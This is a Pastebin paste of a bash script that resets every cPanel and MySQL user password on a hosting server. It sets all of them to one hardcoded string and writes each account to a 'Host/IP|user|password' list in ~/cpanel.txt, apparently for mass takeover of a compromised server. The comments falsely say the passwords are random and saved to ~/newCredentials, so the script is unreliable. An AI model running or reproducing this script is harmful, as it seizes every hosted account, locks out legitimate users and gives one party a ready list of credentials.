Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- #Changes every cPanel password on the server and stores the credentials in ~/newCredentials
- #$newPassword is a randomly generated password with 10 characters
- export ALLOW_PASSWORD_CHANGE=1
- ls -la /home | awk '{print $3}' | grep -v root | grep -v wheel | grep -v cpanel | grep -v apache | grep -v csf | grep -v '^$' > /tmp/usersforchpass
- for i in `more /tmp/usersforchpass `
- do
- newPassword='!!##kaid0559828857!!##'
- echo "Host/IP|$i|$newPassword" >> ~/cpanel.txt
- echo "" >> ~/newCredentials
- /scripts/chpass $i $newPassword
- /scripts/mysqlpasswd $i $newPassword
- done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement